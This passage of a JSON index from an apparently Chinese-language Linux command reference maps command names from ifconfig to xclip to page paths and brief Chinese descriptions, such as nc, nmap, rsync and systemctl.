nux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 